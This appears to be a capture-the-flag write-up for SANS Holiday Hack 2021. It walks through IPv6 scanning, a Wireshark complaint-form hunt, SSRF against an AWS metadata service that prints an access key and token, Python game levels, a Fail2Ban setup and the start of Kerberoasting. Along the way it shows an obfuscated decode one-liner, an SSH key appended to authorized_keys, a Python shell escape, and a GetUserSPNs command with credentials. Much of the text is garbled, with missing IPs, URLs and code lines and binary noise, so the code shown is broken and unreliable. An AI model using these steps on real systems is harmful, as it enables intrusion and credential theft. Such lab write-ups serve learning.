elf@b15ecc409120:~$ echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d
echo 'ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK' >> ~/.ssh/authorized_keys

We can submit the found username and clear this challenge.

IPv6 Sandbox

IPv6 Sandbox is located in Santa castle on the SantaTalks floor. Talk to NPC Jewel Loggins which will give us a hint that this challenge is on understanding IPv6. NPC Jewel Loggins will give us a hint that this github file will be useful for us for the challenge.

Scanning the network

I first scan the network to search for what machines are there. However, we must first find out what is the IP address range. Thus, I check the current machine’s IPv6 addresses and find out the range via the prefixlen. If you are wondering why are there two IPv6 addresses in one interface, here is a post on StackOverflow with good explanations.

Now we are ready to scan. I did a ping sweep using nmap to find out which hosts are up. looks interesting while the rest of the domain names are other terminals of other players. If we scan all the ports and services of, we can see HTTP service is available.

If we do an HTTP request to it, it will tell us to connect to another TCP port. Thus, we have to port scan on the machine’s IPv6 interface.

We can find out the machine’s IPv6 address by pinging it. Once we find out the address is 2604:6000:1528:cd:d55a:f8a7:d30a:e405, we can do an nmap scan to find the available services. Of course at the start you can ping sweep via IPv6. However, look at the address of the machine. It is :e405. It will take you a long time for the scan to even reach that machine. Hence, ping sweep via IPv4 subnet is more feasible.

We can see there is another open port at port 9000. When I use curl on port 9000, we immediately received the flag.

IMDS Exploration

IMDS Exploration challenge is located at Jack Office’s restroom at Frost Tower. This challenge is more of a walkthrough there it teaches us the basics of IMDS. Below are just screenshots of me going through the walkthrough. You can take a look without the need to try it out yourself.

Ping the virtual server

The first requirement is to ping the virtual server. I sent 4 ICMP packets to it.

Next, the challenge tells us that IMDS provides us information of running VMs. Nothing interesting yet.

Analyzing IMDSv1

Continue to follow the instructions where we will curl the virtual server.

We can see piping to jq, the output is now colorized.

Analyzing IMDSv2

In the next section, the challenge will guide us through IMDSv2 that has better security than IMDSv1. Below will contain the steps of the challenge.

Hints on Now Hiring challenge

Talk to NPC Noxious_O_Dior again after completing the IMDS Exploration challenge and he will give us a hint on combing IMDS and SSRF. He also gives us a hint to read up on AWS for IMDS.

Customer Complain Analysis

This challenge can be found by going to the “Objectives” page where we will be tested on analyzing a PCAP file using Wireshark. Click on the hyperlink “Which three trolls complained about the human”? which will allow us to download a ZIP file.

The zip file contains a PCAP file for us to analyze.

Analyze the PCAP file

Firstly, open the PCAP file in Wireshark.

We can see there is an interesting packet that is a POST request for /feedback/guest_complaint.html page which is most likely contains the submission of the complaining form to the server. In fact, this packet appears a few times.

Click on that packet and press CTRL+ALT+SHIFT+T to go to its TCP stream. We will see that the troll’s name in the POST parameter for variable “name”. Below shows an example of one of the troll’s name “Klug”.

Filter by complains

In my own console, I filter for the complain form’s content before analyzing the content of the complaint to find out which are the trolls the challenge requires.

kali@kali$ cat jackfrosttower-network.pcap | grep -a "name\="
name=Klug&troll_id=2234&guest_info=Funny+looking+man+in+room+1145&description=I+carry+suitcase+to+room.+Throw+bag+at+bed+and+miss+a+little.+Man+is+angry.+He+say+suitcase+is+scuff.+I+say+his+face+is+scuff.+He+is+more+angry+and+I+get+no+tip.&submit=Submit2♦▒a▒♂♂BB▒N▒ ⌂!▒N▒ ☺E4▒b▒@♠ZG
name=Gavk&troll_id=2354&guest_info=Annoying+woman+in+room+1239&description=Woman+call+desk+and+complain+that+room+is+cold.+I+go+to+room%2C+knock+on+door%2C+and+tell+her+nice+that+I+eat+beans+at+lunch+and+can+warm+room+up.+She+slam+door+inBB▒N▒ f:▒N▒ ☺E4▒y▒@♠☺▒ubmit=Submit▒♣▒as▒
name=Bluk&troll_id=2367&guest_info=Boring+humans+in+room+1128&description=I+bring+room+service+order.+Use+key+card+to+go+in.+Woman+getting+undress.+She+scream+and+throw+shoe+at+me.+Shoe+is+tasty%2C+but+it+not+make+up+for+her+hurt+my+ears+with+scream.&submit=Submit      ▒a▼▒♀BB▒N▒ r→▒N▒ ☺E4▒
name=Euuk&troll_id=1973&guest_info=Ugly%2C+mean+couple+in+room+1032&description=Euuk+do+an+innocent+%22crop+dust%22+in+elevator+as+it+reach+ground+floor.+No+biggie+-+everyone+do+this+sometimes.+Couple+get+in.+Begin+to+retch.+Look+at+me+with+mean-type+nastiness.+I+have+bad+feels.&submit=Submit▒a.BB▒N▒ ↕▒▒N▒ ☺E46▒▒@♠▒J
name=Crag&troll_id=2351&guest_info=Bald+man+in+room+1212&description=Crag+get+in+elevator.+Man+get+in+too.+Crag+push+ALL+buttons.+Crag+giggle+because+is+funny+joke.+Man+is+no+thinking+funny.+He+has+bad+humor.+He+call+Crag+%22unthinking+brute.%22+Crag+is+not+brute.&submit=Submit▒       ▒a▒▒
name=Yaqh&troll_id=2796&guest_info=Snooty+lady+in+room+1024&description=Lady+call+desk+and+ask+for+more+towel.+Yaqh+take+to+room.+Yaqh+ask+if+she+want+more+towel+because+she+is+like+to+steal.+She+say+Yaqh+is+insult.+Yaqh+is+not+insult.+Yaqh+is+Yaqh.&submit=Submit▒♀▒a▒BB▒N▒ *V▒N▒ ☺E4▒☻▒@♠*♣
▒a¶▲♀BB▒N▒ ▼<▒N▒ ☺E4)w▒@♠▒↕s+bother+her.&submit=Submit▒
name=Hagg&troll_id=2013&guest_info=Incredibly+angry+lady+in+room+1024&description=Lady+call+front+desk.+I+am+walk+by+so+I+pick+up+phone.+She+is+ANGRY+and+shout+at+me.+Say+she+has+never+been+so+insult.+I+say+she+probably+has+but+just+didn%27t+hear+it.&submit=Submit▒☼▒a▒▒☺BB▒N▒ (-▒N▒ ☺E4▒▒▒@♠B&
name=Muffy+VonDuchess+Sebastian&troll_id=I+don%27t+know.+There+were+several+of+them.&guest_info=Room+1024&description=I+have+never%2C+in+my+life%2C+been+in+a+facility+with+such+a+horrible+staff.+They+are+rude+and+insulting.+What+kind+of+place+is+this%3F+You+can+be+sure+that+I+%28or+my+lawyer%29+will+be+speaking+directly+with+Mr.+Frost%21&submit=Submit▒↕▒a▒,☼BB↕?¶▒!▒N▒ ☺E4▒▒▒@♠M▒
name=Quib&troll_id=2539&guest_info=Ugly+little+man+in+room+1121&description=He+call+desk+and+say+his+shoes+need+shine.+He+leave+outside+door.+I+go+and+get.+I+spit+shine.+One+spot+on+shoes+is+bad+so+I+lick+a+little.+Quite+tasty.+I+accidental+eat+shoe.+I+take+other+shoe+back.+I+am+proud+I+no+eat.+He+is+mean+at+me.&submit=Submit?§▒a@f☺BB▒N▒ M ▒N▒ ☺E4)▒▒@♠▒¶
name=Bloz&troll_id=2323&guest_info=Nasty+bad+woman+in+room+1125&description=Bloz+have+tacos+for+lunch.+Later%2C+Bloz+have+very+bad+tummy+and+need+to+use+potty+immediate.+Use+key+card+on+room+on+11+floor.+Bloz+in+bathroom+doing+business.+Lady+come+in+and+scream.+Bloz+business+quick+done.+She+is+rude.&submit=Submitb▬▒aH▒♥BB▒N▒ Z2▒N▒ ☺E4▒▒▒@♠‼b
name=Wuuk&troll_id=2987&guest_info=Very+crabby+woman+in+room+1125&description=Lady+call+desk+and+say+toilet+plug.+Wuuk+take+plunger+and+go+to+room.+Wuuk+make+innocent+comment+that+lady+poop+like+troll+and+say+Wuuk+is+%22outrageous.%22%0D%0A%0D%0ADoes+that+mean+handsome%3F&submit=SubmitE↨▒a▒▒♥BB▒N▒ vU▒N▒ ☺E4W2▒@♠▒▒
name=Kraq&troll_id=2383&guest_info=Rude+couple+in+room+1117&description=Kraq+make+teensy+comment+about+man+having+bad+toupee.+Turn+out+it+is+not+toupee.+Kraq+stand+by+comment+-+man+have+hair+look+like+bad+toupee.+Man+is+angry+and+call+Kraq+many+bad+word.+Kraq+is+just+a+pawn+in+great+game+of+life.&submit=Submitr↑▒a▒▒BB▒N▒ ▒↕▒N▒ ☺E4#J▒@♠▒▒
name=Ikky&troll_id=2743&guest_info=Family+in+room+1226&description=Lady+is+sit+in+lobby+holding+wonderfully+ugly+doll.+Ikky+like+ugly+doll+and+ask+where+she+get.+Ikky+use+to+decorate+for+Halloween.+She+get+angry+because+is+her+baby.+She+say+%22I+never%21%22+Ikky+say+she+must+have+at+least+once.&submit=Submit▒↓▒a▒▒☻BB▒N▒ ▒+▒N▒ ☺E4%§▒@♠ب
BB▒N▒ tu~▒N▒ ☺E4▒d▒@♠9▒&guest_info=Grumpy+man+in+room+1119&description=Man+call+front+desk+to+complain+about+room+be+stuffy.+Stuv+say+he+is+happy+to+get+man+and+throw+outside.+Lot%27s+of+fresh+air.+And+polar+bears.&submit=Submitm→▒a▒E

Almost all the messages seem to be complaining of a man, a woman, or a couple. However, there is one interesting complaint that came from a human whose name is “Muffy VonDuchess Sebastian”. He seems to write that his guest room number is 1024. If we grep for “1024” we can see that there are 4 complaints that have the number 1024. 3 of the complaints are from trolls. Thus, these should be the trolls the challenge wants.

kali@kali$ cat jackfrosttower-network.pcap | grep -a "name\=" | grep -a "1024"
name=Yaqh&troll_id=2796&guest_info=Snooty+lady+in+room+1024&description=Lady+call+desk+and+ask+for+more+towel.+Yaqh+take+to+room.+Yaqh+ask+if+she+want+more+towel+because+she+is+like+to+steal.+She+say+Yaqh+is+insult.+Yaqh+is+not+insult.+Yaqh+is+Yaqh.&submit=Submit▒♀▒a▒BB▒N▒ *V▒N▒ ☺E4▒☻▒@♠*♣
▒a¶▲♀BB▒N▒ ▼<▒N▒ ☺E4)w▒@♠▒↕s+bother+her.&submit=Submit▒
name=Hagg&troll_id=2013&guest_info=Incredibly+angry+lady+in+room+1024&description=Lady+call+front+desk.+I+am+walk+by+so+I+pick+up+phone.+She+is+ANGRY+and+shout+at+me.+Say+she+has+never+been+so+insult.+I+say+she+probably+has+but+just+didn%27t+hear+it.&submit=Submit▒☼▒a▒▒☺BB▒N▒ (-▒N▒ ☺E4▒▒▒@♠B&
name=Muffy+VonDuchess+Sebastian&troll_id=I+don%27t+know.+There+were+several+of+them.&guest_info=Room+1024&description=I+have+never%2C+in+my+life%2C+been+in+a+facility+with+such+a+horrible+staff.+They+are+rude+and+insulting.+What+kind+of+place+is+this%3F+You+can+be+sure+that+I+%28or+my+lawyer%29+will+be+speaking+directly+with+Mr.+Frost%21&submit=Submit▒↕▒a▒,☼BB↕?¶▒!▒N▒ ☺E4▒▒▒@♠M▒

Therefore, we can submit the flag which is the trolls’ name in alphabetical order.

Now hiring

This challenge can be found by going to the “Objectives” page. We will be tested on Server-side Request Forgery (SSRF) with IMDS.

Click on the hyperlink “Jack Frost Twoer job applications server” to go to the vulnerable webpage.

SSRF on Apply form

Go to by going to the Apply page. We will see an interesting field which is “URL to your public NLBI report”. There is a possibility that the webserver will query the URL we supply to it. Thus, we can use it to query the AWS for meta-data. A case study example is from this blog in case2 which had a similar vulnerability.

I only filled up the name “gg” and the URL for NLBI “; and submitted it. All these are done on Burpsuite.

We should see the following response about the Naughty list which means the server did a query on our behalf to the AWS server. If you receive an error regarding .CSV file, it means the challenge is broken. Contact the admin to reset the challenge.

If we look at Burpsuite’s HTTP history, we will see a strange image request. If we look at the content, we will see the response is the response to our SSRF for IMDSv1.

Submit the application form again but this time around the NLBI URL should be “;. Once you submitted, look at the HTTP history again, we should see the security-credentials which contain the SecretAccessKey.

Submit the flag to clear this challenge.

Interesting stuff

If we do not look at HTTP history, another way we can find out is the returned page to us. If we look at the page we received after submitting the form, it will look like this with a broken image.

This is because instead of returning an image, contains strings only which is the JSON data that contains our SecretAccessKey. Download the image and use Strings to see its content.

kali@kali$ strings gg.jpg
        "Code": "Success",
        "LastUpdated": "2021-05-02T18:50:40Z",
        "Type": "AWS-HMAC",
        "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
        "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
        "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
        "Expiration": "2026-05-02T18:50:40Z"

Elf Code Python

This challenge is located in the dining room at Santa’s castle. It is a good challenge to learn the Object-Oriented Programming (OOP) side of Python.

Level 0

Before the start of each level, the objective will be given to us.

Below shows the instructions on how to do this challenge.

Sample codes are already given to us. We just need to run the code. You can click on each of the objects in the OBJECT HELP section to know the requirements such as how to change the level’s mode by answering a question, how to know if a munchkin is friendly or not, how to not fall into the pit, etc. I won’t be showing the content of them as it is too long. You can click on them if you are trying out the CTF.

Sample source code:

import elf, munchkins, levers, lollipops, yeeters, pits
# Grab our lever object
lever = levers.get(0)
munchkin = munchkins.get(0)
lollipop = lollipops.get(0)
# move to lever position
# get lever int and add 2 and submit val
leverData = + 2
# Grab lollipop and stand next to munchkin
# Solve the munchkin's challenge
munchList = munchkin.ask() # e.g. [1, 3, "a", "b", 4]
answer_list = []
for elem in munchList:
    if type(elem) == int:
elf.moveUp(2) # Move to finish

Level 1

We can see level 1 is quite basic without any obstacles. We just have to collect the lollipops. Some initial code has already been given to us.

Solution for level 1:

import elf, munchkins, levers, lollipops, yeeters, pits
lollipop = lollipops.get(0)          # get the first lollipop
elf.moveTo(lollipop.position)     # move to lollipop
elf.moveTo({"x":2, "y":2})            # move to KringleCon Entrance

Basic code explanation:

  • Lollipops is a list of lollipop objects. It has many attributes. One of them is the object/lollipop’s position which is in dictionary type. It contains the coordinate of the lollipop.
  • elf is the current object of our elf. It has many functions. elf.moveTo() takes in a dictionary type of X and Y coordinates. Thus, we can directly go to the lollipop’s location and KringleCon Entrance.

level 2

Seems like there are now some obstacles. Some sample code has already been given to us.

The sample code isn’t useful. I came out with my own code from scratch. Note that the closest lollipop is lollipop1 and not lollipop.

import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveTo(lollipops.get(1).position)	# to go lollipop1's position
elf.moveTo(lollipops.get(0).position)	# to go lollipop0's position
elf.moveTo({"x":2, "y":2})            	        # move to KringleCon Entrance

Level 3


import elf, munchkins, levers, lollipops, yeeters, pits
lever0 = levers.get(0)
lollipop0 = lollipops.get(0)
elf.moveTo(lever0.position)         # move to lever0
if (not(                        # check if lever0 is on
    lever0.pull( + 2)    # lever's help told us to add 2 to its dataand use the result to pull it
elf.moveTo(lollipop0.position)     # move to get lollipop0
elf.moveTo({"x":2, "y":2})              # move to KringleCon Entrance

Level 4

This is the link provided to help us check for the data type.

import elf, munchkins, levers, lollipops, yeeters, pits
# Complete the code below:
lever0, lever1, lever2, lever3, lever4 = levers.get()
elf.moveLeft(2)	# Move onto lever4
# This lever wants a str object:
lever4.pull("A String")
# Move to each lever and process data according to data type before pulling the lever
for i in range(3,-1, -1):
    lever = levers.get(i)
    data =
    if (isinstance(data, bool)): data = not data
    elif (isinstance(data, int)): data += 2
    elif (isinstance(data, float)): data += 2.0
    elif (isinstance(data, list)): data.reverse()
    elif (isinstance(data, dict)): data['yay'] = "clear"
    lever.pull(data)                                     # submit data
elf.moveTo({"x":2, "y":2})                          # move to KringleCon Entrance

Only the content starting from the FOR loop conditions is my own code. I tried to use FOR loop instead so that the program won’t be that hardcoded. lever4.pull(“A String”) is given already hence I didn’t touch it. Note that the challenge of this level is limited to only 18 lines of code and 15 function calls. The lines that contain comments are included in the number of lines coded. Thus, I tried to place most of my own comments on the right side of the program.

Note that there is actually no fixed input answer for lever.pull(). It wants us to modify the original data and send it as the argument for lever.pull().

Level 5

If you click on each of the levers here, they will tell you the requirement to pass each lever.


import elf, munchkins, levers, lollipops, yeeters, pits
# Move to each lever and process data according to data type before pulling the lever
for i in range(4,-1, -1):
    lever = levers.get(i)
    data =
    if (isinstance(data, bool)): data = not data
    elif (isinstance(data, int)): data += 1
    elif (isinstance(data, float)): data += 2.0
    elif (isinstance(data, list)): data.append(1)
    elif (isinstance(data, dict)): data["strkey"] = "strvalue"
    elif (isinstance(data, str)): data += " concatenate"
    lever.pull(data)                                     # submit data
elf.moveTo({"x":2, "y":2})                          # move to KringleCon Entrance

Despite each lever’s data type being given, I tried to make it more dynamic by using isinstance(). The data are being modified according to the required conditions.

Level 6

We can see the long compiled list of conditions for lever0:


import elf, munchkins, levers, lollipops, yeeters, pits
# Fix/Complete the below code
lever = levers.get(0)
data =
if type(data) == bool:
    data = not data
elif type(data) == int:
    data = data * 2 
elif type(data) == list:
    data = [x+1 for x in data]
elif type(data) == dict:
    data['a'] += 1
    data += data                 # for handling String data type
elf.moveTo({'x':2,'y':4})        # move to lever
lever.pull(data)                  # submit answer to pull lever
elf.moveUp(2)                   # move to KringleCon Entrance

Level 7


import elf, munchkins, levers, lollipops, yeeters, pits
for num in range(2):
elf.moveLeft(2)     # current at corrdinate (5,12) as moveLeft(1) just now
elf.moveUp(10)     # move to KringleCon Entrance

We just need to go up and down 2 times to travel around the maze. Thus, FOR loop will be helpful to us.

Level 8 (Final level)

Requirement to pass Muchkin:


import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
for lollipop in all_lollipops:
elf.moveTo({'x':2, 'y':4})    # move to right befpre munchhkin
munchkin = munchkins.get(0)
for key,val in munchkin.ask().items():      munchkin will return us a Dict data type
    if val == "lollipop":
        munchkin.answer(key)      # munchkin wants the key that has the value "lollipop".
elf.moveUp(2)                   # move to KringleCon Entrance

Due to the walking speed of the elf, by the time our elf faces the munchkin, it is right in front of our help. Hence we can answer the munchkin immediately without checking if it is right in front of our elf.

Level 9 (Bonus level)

The objective to bypass the munchkin:

As for the lever, I would be showing screenshots of their objectives as there are too many and they are all the same. Basically, we just have to submit lever.pull(<leverID>).


import elf, munchkins, levers, lollipops, yeeters, pits

def func_to_pass_to_mucnhkin(list_of_lists):       # recursive function
    sum_of_ints_in_list_of_lists = 0                        # initialized to 0
    for element in list_of_lists:
        if type(element) == list:
            sum_of_ints_in_list_of_lists += func_to_pass_to_mucnhkin(element)    # recursion
        elif type(element) == int:                            # only sum it if we found the element is an integer
            sum_of_ints_in_list_of_lists += element
    return sum_of_ints_in_list_of_lists

all_levers = levers.get()
num_of_levers = len(all_levers)
# Create Movement pattern:
moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2

# We iterate over each move in moves getting an index (i) number that increments by one each time
for i, move in enumerate(moves):
    move(i+1)                     # based on the spiral pattern, we can see it increments by one
    if i < num_of_levers:     # need this check is end of spiral do not have lever
        all_levers[i].pull(i)      # Answer for each lever is its ID
elf.moveUp(2)                  # these 2 steps is to move the position (6,2) facing the munchkin
elf.moveUp(1)                   # move to KringleCon Entrance

Level 10 (Final bonus level)


import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]
for index, mun in enumerate(muns):
    # need to wait while absolute distance between
    # elf.position["x"] and mun.position['x'] is less than 6
    # then we move to next lollipop
    # We can use time.sleep(0.05) to add a small delay in a while loop
    while abs(mun.position['x'] - elf.position['x']) < 6:
    elf.moveTo(lols[index].position)        # safe move to next lollipop
elf.moveTo({"x":2, "y":2})                       # move to KringleCon Entrance

Hoho no

This challenge is located at Santa Office and it is about the Fail2Ban configuration. If we speak to NPC Eve Snowshoes, he will tell us to filter IP for apache before rewarding us with hints for Kerberoasting on an Open Fire challenge.

You can look at this useful video if you are new to configuring Fail2Ban.

Analyze failure message

We first look at the possible error messages in /var/log/hohono.log since the challenge wants us to ban IP as long as there are 10 failed messages.

root@803686506a84:~# nano /var/log/hohono.log
2021-12-25 03:56:42 Invalid heartbeat 'alpha' from
2021-12-25 03:56:46 Login from rejected due to unknown user name
2021-12-25 04:00:26 Failed login from for piney
2021-12-25 04:03:06 sent a malformed request

After going through the log file, there seem to be only 4 types of error/failure messages.

Creating filter conf file

I created my own filter conf file, /etc/fail2ban/filter.d/santa.conf.

failregex = Invalid heartbeat \'.+\' from <HOST>$
            Login from <HOST> rejected due to unknown user name$
            Failed login from <HOST> for .+$
            <HOST> sent a malformed request$

ignoreregex =

We can use the fail2ban-regex tool to check our REGEX.

root@803686506a84:~# fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/santa.conf

Creating action conf file

I created my own action conf file, /etc/fail2ban/action.d/santa.conf.

actionban = /root/naughtylist add <ip>

Creating jail conf file

I created my own jail conf file, /etc/fail2ban/jail.d/santa.conf.

enabled = true
logpath = /var/log/hohono.log
findtime = 3600
maxretry = 10
bantime = -1
filter = santa
action = santa

Bantime is set to -1 which means to ban the IP address forever.

Run it

We will need to restart the Fail2Ban service before refreshing the log file so that Fail2Ban will analyze it. Once it works, a successful message will be displayed.

root@b2ada16362dc:~# service fail2ban restart
 * Restarting Authentication failure monitor fail2ban                                   [ OK ] 
root@b2ada16362dc:~# /root/naughtylist refresh
Refreshing the log file...
root@b2ada16362dc:~# Log file refreshed! It may take fail2ban a few moments to re-process. has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list! has been added to the naughty list!
You correctly identifed 18 IPs out of 18 bad IPs
You incorrectly added 0 benign IPs to the naughty list

* You stopped the attacking systems! You saved our systems!
* Thank you for all of your help. You are a talented defender!

Kerberoasting on an Open Fire hints

Talk to NPC Eve Snowshoes again and he will give us hints for the Kerberoasting challenge. He gave me a hint that credentials can be found in scripts created by admins. Besides that, another hint is there may be some 10.xx.xx.xx.xx networks in our routing table and we can consider adding “-PS22,445” to our nmap scans to “fix” default probing for an unprivileged scan. Besides that, he also gave us some sources we can refer to such as the cheatsheet for Active Directory pentesting and the rules list for hashcat cracking.

Kerberoasting on an Open Fire

This challenge can be found on the objective page. In this challenge, we will get to learn about Active Directory, kerberoasting, WriteDACL privileges, adding a user account to a group using PowerShell, changing login shell, and SUID. It is the hardest challenge in this SANS CTF. This video by Chris Davis is definitely helpful for this challenge. Let’s get started!

The hyperlink directs us to a portal shown below:

Once you registered, they will give you credentials to a GNU/Linux machine to SSH into.

Note that the credentials will be invalid the next day. Thus if you take more than a day to solve this challenge, create a new account again. You can use the same information when filling up the signup form.

Main page

Once you SSH into the server, we will be given an option to choose on the main page.

=      Elf University Student Grades Portal       =
=          (Reverts Everyday 12am EST)            =
1. Print Current Courses/Grades.
e. Exit

If we print current courses/grades,

0  Shortname                    Description  Grade
1    NPAR301    North Pole Art Appreciation     B
2    CACH301                Candy Chemistry     A+
3    GEOG201      Geometry of Gift-Wrapping     C
4    NNLM301  Naughty Nice List Mathematics     C-
Press Enter to continue...

If we press shortcut CTRL+D, error messages are shown which show us part of the source code. We can see it is a Python program.

=      Elf University Student Grades Portal       =
=          (Reverts Everyday 12am EST)            =
1. Print Current Courses/Grades.
e. Exit
: Traceback (most recent call last):
  File "/opt/grading_system", line 41, in <module>
  File "/opt/grading_system", line 26, in main
    a = input(": ").lower().strip()

Program escape

We can escape from the program spawning a bash shell from the Python shell we escaped to when we pressed CTRL+D.

>>> os.system('bash')

Available hosts

As NPC Eve Snowshoes gave us a hint that the internal network range is, it will take forever for nmap to ping sweep the entire network. Thus, I used netstat to find what are the possible available hosts.

qiaedikfyn@grades:~$ netstat -an
Active Internet connections (servers and established)                          
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0    *               LISTEN     
tcp        0      0    *               LISTEN     
tcp        0      1       SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1       SYN_SENT   
tcp        0      1         SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1         SYN_SENT   
tcp        0      0        ESTABLISHED
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1         SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      0        ESTABLISHED
tcp        0      1       SYN_SENT   
tcp        0      1       SYN_SENT   
tcp        0      1         SYN_SENT   
tcp        0      0        ESTABLISHED
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1         SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1         SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      0        TIME_WAIT  
tcp        0      1        SYN_SENT   
tcp        0      0        ESTABLISHED
tcp        0      1         SYN_SENT   
tcp        0      1         SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1         SYN_SENT   
tcp        0      1       SYN_SENT   
tcp        0      1       SYN_SENT   
tcp        0      1        SYN_SENT   
tcp        0      1         SYN_SENT
udp        0      0          ESTABLISHED

We can transfer the 10.XX.XX.XX hosts into a text file, hosts.txt, before using it as input for nmap to scan the services of these hosts.

qiaedikfyn@grades:~$ netstat -an | grep "10\." | cut -d " " -f 24 | cut -d ":" -f 1 | sort | uniq -u > hosts.txt
qiaedikfyn@grades:~$ nmap -PS22,445,636 -sC -sV -iL hosts.txt

Nmap results

Despite scanning a list of hosts, only a machine at came back with results.

qiaedikfyn@grades:~$ nmap -PS22,445,636 -sC -sV -iL hosts.txt
Starting Nmap 7.80 ( ) at 2021-12-27 03:32 UTC
Nmap scan report for
Host is up (0.00028s latency).
Not shown: 966 closed ports
22/tcp   open  ssh          OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 04:ce:1a:b0:a5:12:eb:5a:6f:75:d6:1a:3b:d0:f9:5a (RSA)
|   256 bd:2a:09:fd:9f:5f:fe:87:f4:0c:0c:2e:7e:ca:3f:b9 (ECDSA)
|_  256 fd:ba:1d:8f:53:c6:be:9a:e4:42:9b:55:8e:aa:db:a1 (ED25519)
53/tcp   open  domain       (generic dns response: NOTIMP)
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp   open  http         Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was
88/tcp   open  kerberos-sec Heimdal Kerberos (server time: 2021-12-27 03:32:31Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: ELFU)
389/tcp  open  ldap         (Anonymous bind OK)
| ssl-cert: Subject: commonName=SHARE30.elfu.local/organizationName=Samba Administration
| Not valid before: 2021-10-29T19:30:08
|_Not valid after:  2023-09-29T19:30:08
|_ssl-date: 2021-12-27T03:34:02+00:00; +34s from scanner time.
445/tcp  open  netbios-ssn  Samba smbd 4.3.11-Ubuntu (workgroup: ELFU)
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap     (Anonymous bind OK)
| ssl-cert: Subject: commonName=SHARE30.elfu.local/organizationName=Samba Administration
| Not valid before: 2021-10-29T19:30:08
|_Not valid after:  2023-09-29T19:30:08
|_ssl-date: 2021-12-27T03:33:49+00:00; +21s from scanner time.
1024/tcp open  msrpc        Microsoft Windows RPC
1025/tcp open  tcpwrapped
1026/tcp open  tcpwrapped
1027/tcp open  tcpwrapped
1028/tcp open  tcpwrapped
1029/tcp open  tcpwrapped
1030/tcp open  tcpwrapped
1031/tcp open  tcpwrapped
1032/tcp open  tcpwrapped
1033/tcp open  tcpwrapped
1034/tcp open  tcpwrapped
1035/tcp open  tcpwrapped
1036/tcp open  tcpwrapped
1037/tcp open  tcpwrapped
1038/tcp open  tcpwrapped
1039/tcp open  tcpwrapped
1040/tcp open  tcpwrapped
1041/tcp open  tcpwrapped
1042/tcp open  tcpwrapped
1043/tcp open  tcpwrapped
1044/tcp open  tcpwrapped
2222/tcp open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3268/tcp open  ldap         (Anonymous bind OK)
| ssl-cert: Subject: commonName=SHARE30.elfu.local/organizationName=Samba Administration
| Not valid before: 2021-10-29T19:30:08
|_Not valid after:  2023-09-29T19:30:08
|_ssl-date: 2021-12-27T03:34:45+00:00; +1m17s from scanner time.
3269/tcp open  ssl/ldap     (Anonymous bind OK)
| ssl-cert: Subject: commonName=SHARE30.elfu.local/organizationName=Samba Administration
| Not valid before: 2021-10-29T19:30:08
|_Not valid after:  2023-09-29T19:30:08
|_ssl-date: 2021-12-27T03:34:37+00:00; +1m09s from scanner time.
Service Info: Host: SHARE30; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows


We will be attempting to get a ticket. You can see the usage here.

qiaedikfyn@grades:~$ find / -iname GetUserSPNs\.py 2>/dev/null
qiaedikfyn@grades:~$ python3 /usr/local/bin/ -outputfile spns.txt elfu.local/augkarikav:'Nlitwzvho@' -request
